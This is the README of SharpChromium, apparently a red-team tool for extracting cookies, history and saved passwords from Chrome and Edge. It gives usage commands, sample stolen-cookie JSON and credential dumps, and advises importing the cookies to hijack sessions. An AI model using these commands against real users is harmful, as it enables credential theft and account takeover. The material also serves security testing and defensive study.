

---

# SharpChromium

## Introduction

SharpChromium is a .NET 4.0+ CLR project to retrieve data from Google Chrome, Microsoft Edge, and Microsoft Edge Beta. Currently, it can extract:

- Cookies (in JSON format)
- History (with associated cookies for each history item)
- Saved Logins

Note: All cookies returned are in JSON format. If you have the extension Cookie Editor installed, you can simply copy and paste into the “Import” section of this browser addon to ride the extracted session.

## Advantages

This rewrite has several advantages to previous implementations, which include:

- No Type compilation or reflection required
- Cookies are displayed in JSON format, for easy importing into Cookie Editor.
- No downloading SQLite assemblies from remote resources.
- Supports major Chromium browsers (but extendable to others)

## Usage

```
1 Usage:
2   .\SharpChromium.exe arg0 [arg1 arg2 ...]
3
4 Arguments:
5   all      - Retrieve all Chromium Cookies, History and Logins.
6   full     - The same as 'all'
7   logins   - Retrieve all saved credentials that have non-empty
               passwords.
8   history  - Retrieve user's history with a count of each time the
               URL was
9               visited, along with cookies matching those items.
10  cookies [domain1.com domain2.com] - Retrieve the user's cookies in
               JSON format.
11
12                                     If domains are passed, then
                                     return only
                                     cookies matching those domains.
                                     Otherwise,
```

---

13	all cookies are saved into a
	temp file of
14	the format "%TEMP%\\$browser-
	cookies.json"

---

## Examples

Retrieve cookies associated with Google Docs and Github

```
1 .\SharpChromium.exe cookies docs.google.com github.com
```

```
C:\Users\Dwight\Desktop>.\SharpChrome.exe cookies github.com

=== Chrome (Current User) ===
--- Chrome Cookie (User: Dwight) ---
Domain      : github.com
Cookies (JSON) : [{"domain": "github.com", "expirationDate": 1017923783, "hostOnly": false, "httpOnly": true, "name": "__Host-user_session_same_site", "path": "/", "sameSite": "no_restriction", "secure": true, "session": false, "storeId": "0", "value": "[REDACTED]", "id": 1}, {"domain": "github.com", "expirationDate": 1017923635, "hostOnly": false, "httpOnly": true, "name": "user_session", "path": "/", "sameSite": "no_restriction", "secure": true, "session": false, "storeId": "0", "value": "[REDACTED]", "id": 2}, {"domain": ".github.com", "expirationDate": -1291273024, "hostOnly": false, "httpOnly": false, "name": "_ga", "path": "/", "sameSite": "no_restriction", "secure": false, "session": false, "storeId": "0", "value": "GA1.2.2057192312.1526681851", "id": 3}, {"domain": ".github.com", "expirationDate": -1364531264, "hostOnly": false, "httpOnly": false, "name": "_gat", "path": "/", "sameSite": "no_restriction", "secure": false, "session": false, "storeId": "0", "value": "1", "id": 4}, {"domain": ".github.com", "expirationDate": -1308052864, "hostOnly": false, "httpOnly": false, "name": "_octo", "path": "/", "sameSite": "no_restriction", "secure": false, "session": false, "storeId": "0", "value": "GH1.1.1567514518.1526681851", "id": 5}, {"domain": ".github.com", "expirationDate": -130606160, "hostOnly": false, "httpOnly": true, "name": "dotcom_user", "path": "/", "sameSite": "no_restriction", "secure": true, "session": false, "storeId": "0", "value": "protonmail [REDACTED]", "id": 6}, {"domain": ".github.com", "expirationDate": -130606201, "hostOnly": false, "httpOnly": true, "name": "logged_in", "path": "/", "sameSite": "no_restriction", "secure": true, "session": false, "storeId": "0", "value": "yes", "id": 7}]

C:\Users\Dwight\Desktop>
```

Retrieve history items and their associated cookies.

```
1 .\SharpChromium.exe history
```

```

--- Chrome History (User: Dwight) ---
URL      : https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&ct=15329
98938&rver=6.7.6640.0&wp=MBI_SSL&wreply=https%3a%2f%2foutlook.live.com%2fowa%2f%
3fnlp%3d1%26RpsCsrftState%3df9e32af2-ed3f-9eeb-f6d3-5d95f1805b2c&id=292841&CBCXT=
out&lw=1&fl=dob%2cfname%2cwld&cobrandid=90015
Title    : Sign in to your Microsoft account
Visit Count : 3
Cookies  : [{"domain": ".login.live.com", "expirationDate": -1499529039, "h
ostOnly": false, "httpOnly": true, "name": "MSPCID", "path": "/", "sameSite": "n
o_restriction", "secure": true, "session": false, "storeId": "0", "value": "67d1
", "id": 1}, {"domain": ".login.live.com", "expirationDate": -1499529
153, "hostOnly": false, "httpOnly": false, "name": "MSPPre", "path": "/", "sameS
ite": "no_restriction", "secure": true, "session": false, "storeId": "0", "value
": "sharpgedemo@;67d1b0fc98955231!!", "id": 2}, {"domain": ".login.l
ive.com", "expirationDate": -1499528409, "hostOnly": false, "httpOnly": true, "n
ame": "SDIDC", "path": "/", "sameSite": "no_restriction", "secure": true, "sessi
on": false, "storeId": "0", "value": "
", "id": 3}, {"domain": ".login.live.com", "expirat
ionDate": -1499528997, "hostOnly": false, "httpOnly": false, "name": "WLOpt", "p
ath": "/", "sameSite": "no_restriction", "secure": true, "session": false, "stor
eId": "0", "value": "credtype=1&act=11", "id": 4}, {"domain": ".live.com", "expi
rationDate": 1929202194, "hostOnly": false, "httpOnly": false, "name": "ANON", "
path": "/", "sameSite": "no_restriction", "secure": false, "session": false, "st
oreId": "0", "value": "A=2647E8C9;E=1581&W=1", "id": 5}, {"
domain": ".live.com", "expirationDate": -1499388342, "hostOnly": false, "httpO
nly": false, "name": "MH", "path": "/", "sameSite": "no_restriction", "secure":
false, "session": false, "storeId": "0", "value": "MSFT", "id": 6}, {"domain": ".
live.com", "expirationDate": -891565496, "hostOnly": false, "httpOnly": false, "
name": "NAP", "path": "/", "sameSite": "no_restriction", "secure": false, "sessi
on": false, "storeId": "0", "value": "U=1.9&E=1527&C=
", "id": 7}, {"domain": ".live.com", "expirationDa
te": 384112051, "hostOnly": false, "httpOnly": true, "name": "mkt", "path": "/",
"sameSite": "no_restriction", "secure": true, "session": false, "storeId": "0",
"value": "en-US", "id": 8}, {"domain": ".live.com", "expirationDate": -211994528
0, "hostOnly": false, "httpOnly": false, "name": "optimizelyEndUserId", "path":
"/", "sameSite": "no_restriction", "secure": false, "session": false, "storeId":
"0", "value": ".7471757194756801", "id": 9}]

```

Retrieve saved logins (Note: Only displays those with non-empty passwords):

```
1 .\SharpChromium.exe logins
```

```

C:\Users\Dwight\Desktop>.\SharpChrome.exe logins

=== Chrome (Current User) ===
--- Chrome Credential (User: Dwight) ---
URL      : https://github.com/session
Username : test@test.com
Password : test

--- Chrome Credential (User: Dwight) ---
URL      : https://bitbucket.org/account/signin/
Username : test
Password : test

--- Chrome Credential (User: Dwight) ---
URL      : https://github.com/session
Username : protonmail1234562
Password : Sup3r$3CR3Tp@$$w000000rd

```

---

## Notes on the SQLite Parser

The SQLite database parser is slightly bugged. This is due to the fact that the parser correctly detects data blobs as type `System.Byte[]`, but it does not correctly detect columns of type `System.Byte[]`. As a result, the byte arrays get cast to the string literal `"System.Byte[]"`, which is wrong. I haven't gotten to the root of this cause, but as a quick and dirty workaround I have encoded all blob values as Base64 strings. Thus if you wish to retrieve a value from a column whose regular data values would be a byte array, you'll need to Base64 decode them first.

## Special Thanks

A large thanks to @plainprogrammer for their C#-SQLite project which allowed for native parsing of the SQLite files without having to reflectively load a DLL. Without their work this project would be nowhere near as clean as it is. That project can be found here: <https://github.com/plainprogrammer/csharp-sqlite>

Thanks to @gentlekiwi whose work on Mimikatz guided the rewrite for the decryption schema in v80+

Thanks to @harmj0y who carved out the requisite PInvoke BCrypt code so I could remove additional dependencies from this project, making it light-weight again.